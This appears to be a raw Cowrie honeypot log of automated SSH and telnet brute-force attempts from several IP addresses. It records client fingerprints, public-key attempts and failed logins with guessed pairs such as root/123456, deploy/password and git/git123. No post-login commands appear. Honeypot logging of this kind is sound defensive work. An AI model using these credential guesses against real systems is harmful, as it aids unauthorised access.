{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ea:8f:76:a2:32:99:7a:5f:22:33:bc:52:d7:97:de:4a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDxsMjMmhZmJEBdmVKYvdeYaKUl+U9BulbD+zTF26RsRD71MB0dvtiPServjEx3t/4rtXXJnVyYEsPNGiwenz64r691vG5nCVyNahwqgFXUJrhzGSa9IkwiDy3K0ALgGPxTPiC7nURsrg/LRpLgID+hvs0+QHx6jtJKNYA9mT+5VO89mplQcsVT9E7Of4KgiDl4PZ55CYXSNCuWqxfOPGllZI1Sg7fyG+1oGx5cbW85XIDfQg7fifiBXME1L9oiB63GsJrjVogZC3BptPaeIG1xcGSN4/w9VjmGWB1b7DrVEmmZFsLJ4U0tIRYGtHqRgt1hbEGStkYMnUBA1uQvkPgV","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:31:07.098097Z","src_ip":"185.145.245.47","session":"419c12542e92","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e0:f8:29:46:8d:e9:68:0d:b2:34:38:94:8f:9e:4b:b7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDZEsMnqrPPsCnq24IEygPtyqF2kxpPt2iEbqukkyYuNyv8TYyByqSk1b/WMKxSMZKCFDjfJm9lgtyi7na0ufuWBQ79sdhPc2E/e3uxLv4ms/C5fdtNvyUepwGiz0EczQ+8c+ocFKow4u+WboOx+csfOlLduZooueUvpqYhr42WN7WiLPJlgvOWWFVSA0tK59TfSzzfSVkoMvwI9bCCw14KWHRdWakRS9Golk5Xgm4HxsjNctonPRgoKdusH3p/QeDVGVOkbmZg/RlVWt+F/2H77kGcs8fqQWhQFEn7H4JWl5AKMzZJC723ijsPs2z9hhKeLZy8qrItNFbbliVA4JmNeWRkURod8Dx9hAyIm6iUOSmMeylKhyjjoXPPhViAsOAMxJ6tDxWDj9n1ZSU904UTYrGA8YD50l0U1WtKV7e25bJ4LwbMvgzDqiMXtPfiHa3VscJ+45eN5bo3uZv1jO2hT2mVYt3El7QjAh0TZu4NYjTT/grKYLEZkgO0LcVYmIc7msNo5qVwdJRW6eUy2bHmURhp/GRWNxPwiW0OyFeChq82b9PmvnSbWs3/N9i8bI4+6Y48mM6TdaSKKETqt4RQ78YGrUdypdTKHUzMp0W2YyDZY5HsbBlejPHXcjjSxecY5nHRaSPhTTnSwcf0a23MyTxncHtRJ/HZ+kTZm9bz5Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e0:f8:29:46:8d:e9:68:0d:b2:34:38:94:8f:9e:4b:b7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:31:07.209649Z","src_ip":"185.145.245.47","session":"419c12542e92","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e0:f8:29:46:8d:e9:68:0d:b2:34:38:94:8f:9e:4b:b7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDZEsMnqrPPsCnq24IEygPtyqF2kxpPt2iEbqukkyYuNyv8TYyByqSk1b/WMKxSMZKCFDjfJm9lgtyi7na0ufuWBQ79sdhPc2E/e3uxLv4ms/C5fdtNvyUepwGiz0EczQ+8c+ocFKow4u+WboOx+csfOlLduZooueUvpqYhr42WN7WiLPJlgvOWWFVSA0tK59TfSzzfSVkoMvwI9bCCw14KWHRdWakRS9Golk5Xgm4HxsjNctonPRgoKdusH3p/QeDVGVOkbmZg/RlVWt+F/2H77kGcs8fqQWhQFEn7H4JWl5AKMzZJC723ijsPs2z9hhKeLZy8qrItNFbbliVA4JmNeWRkURod8Dx9hAyIm6iUOSmMeylKhyjjoXPPhViAsOAMxJ6tDxWDj9n1ZSU904UTYrGA8YD50l0U1WtKV7e25bJ4LwbMvgzDqiMXtPfiHa3VscJ+45eN5bo3uZv1jO2hT2mVYt3El7QjAh0TZu4NYjTT/grKYLEZkgO0LcVYmIc7msNo5qVwdJRW6eUy2bHmURhp/GRWNxPwiW0OyFeChq82b9PmvnSbWs3/N9i8bI4+6Y48mM6TdaSKKETqt4RQ78YGrUdypdTKHUzMp0W2YyDZY5HsbBlejPHXcjjSxecY5nHRaSPhTTnSwcf0a23MyTxncHtRJ/HZ+kTZm9bz5Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:31:07.214538Z","src_ip":"185.145.245.47","session":"419c12542e92","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:31:07.327837Z","src_ip":"185.145.245.47","session":"419c12542e92","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.3","message":"Connection lost after 11.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:31:10.842227Z","src_ip":"47.86.95.62","session":"9a9c76781cbd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456","message":"login attempt [root/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:31:10.900102Z","src_ip":"8.218.166.49","session":"d1565952368c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"97.5","message":"Connection lost after 97.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:31:12.425107Z","src_ip":"8.218.166.49","session":"d1565952368c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:31:12.500769Z","src_ip":"8.218.166.49","session":"ddec32d8c53f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00113582611084,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:31:13.687128Z","src_ip":"187.222.242.146","session":"319b3aa3434e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"90.2","message":"Connection lost after 90.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:31:13.712338Z","src_ip":"8.218.166.49","session":"ddec32d8c53f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"187.222.242.146","src_port":43206,"dst_ip":"159.203.135.109","dst_port":23,"session":"6fb4c9829da2","protocol":"telnet","message":"New connection: 187.222.242.146:43206 (159.203.135.109:23) [session: 6fb4c9829da2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:31:14.849104Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.195.116","src_port":8740,"dst_ip":"159.203.135.109","dst_port":22,"session":"eb83424ece0f","protocol":"ssh","message":"New connection: 66.132.195.116:8740 (159.203.135.109:22) [session: eb83424ece0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:31:23.875361Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:31:23.889203Z","src_ip":"66.132.195.116","session":"eb83424ece0f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"873a5fb5fedc2d4f8638ebde4abc6cfc","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha256;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-cbc,3des-cbc;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 873a5fb5fedc2d4f8638ebde4abc6cfc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:31:23.902338Z","src_ip":"66.132.195.116","session":"eb83424ece0f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":36442,"dst_ip":"10.17.0.5","dst_port":22,"session":"f9402a4a9af3","protocol":"ssh","message":"New connection: 47.86.95.62:36442 (10.17.0.5:22) [session: f9402a4a9af3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:31:29.173207Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:31:29.177886Z","src_ip":"47.86.95.62","session":"f9402a4a9af3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:31:29.394006Z","src_ip":"47.86.95.62","session":"f9402a4a9af3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"password","message":"login attempt [deploy/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:31:30.276309Z","src_ip":"47.86.95.62","session":"f9402a4a9af3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:31:31.492751Z","src_ip":"47.86.95.62","session":"f9402a4a9af3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":34730,"dst_ip":"10.17.0.5","dst_port":22,"session":"70c388ca0dec","protocol":"ssh","message":"New connection: 47.86.95.62:34730 (10.17.0.5:22) [session: 70c388ca0dec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:31:34.144033Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:31:34.245569Z","src_ip":"47.86.95.62","session":"70c388ca0dec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:31:34.358681Z","src_ip":"47.86.95.62","session":"70c388ca0dec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"flask","password":"flask","message":"login attempt [flask/flask] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:31:35.469372Z","src_ip":"47.86.95.62","session":"70c388ca0dec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:31:36.676920Z","src_ip":"47.86.95.62","session":"70c388ca0dec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.0","message":"Connection lost after 15.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:31:38.890480Z","src_ip":"66.132.195.116","session":"eb83424ece0f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":34748,"dst_ip":"10.17.0.5","dst_port":22,"session":"19f40f4cb3cb","protocol":"ssh","message":"New connection: 47.86.95.62:34748 (10.17.0.5:22) [session: 19f40f4cb3cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:31:39.322444Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:31:39.330392Z","src_ip":"47.86.95.62","session":"19f40f4cb3cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:31:42.508819Z","src_ip":"47.86.95.62","session":"19f40f4cb3cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"git123","message":"login attempt [git/git123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:31:53.663016Z","src_ip":"47.86.95.62","session":"19f40f4cb3cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.6","message":"Connection lost after 15.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:31:54.878737Z","src_ip":"47.86.95.62","session":"19f40f4cb3cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:32:00.626888Z","src_ip":"8.218.166.49","session":"b91ee3bc8d14","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":59808,"dst_ip":"10.17.0.5","dst_port":22,"session":"a2f23a294ae3","protocol":"ssh","message":"New connection: 47.86.95.62:59808 (10.17.0.5:22) [session: a2f23a294ae3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:32:02.315771Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:32:02.324439Z","src_ip":"47.86.95.62","session":"a2f23a294ae3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:32:02.534360Z","src_ip":"47.86.95.62","session":"a2f23a294ae3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa@123456","message":"login attempt [root/Aa@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:32:03.198605Z","src_ip":"47.86.95.62","session":"a2f23a294ae3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:32:04.410383Z","src_ip":"47.86.95.62","session":"a2f23a294ae3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":59818,"dst_ip":"10.17.0.5","dst_port":22,"session":"8a7bde25b207","protocol":"ssh","message":"New connection: 47.86.95.62:59818 (10.17.0.5:22) [session: 8a7bde25b207]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:32:07.767980Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:32:07.792431Z","src_ip":"47.86.95.62","session":"8a7bde25b207","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:32:07.981222Z","src_ip":"47.86.95.62","session":"8a7bde25b207","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwerty","message":"login attempt [root/Qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:32:26.444056Z","src_ip":"47.86.95.62","session":"8a7bde25b207","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"19.9","message":"Connection lost after 19.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:32:27.653839Z","src_ip":"47.86.95.62","session":"8a7bde25b207","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00224423408508,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:32:29.266131Z","src_ip":"187.155.249.211","session":"c1457a342298","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00122785568237,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:32:29.498808Z","src_ip":"187.155.249.211","session":"3ca27f602ae7","protocol":"telnet"}
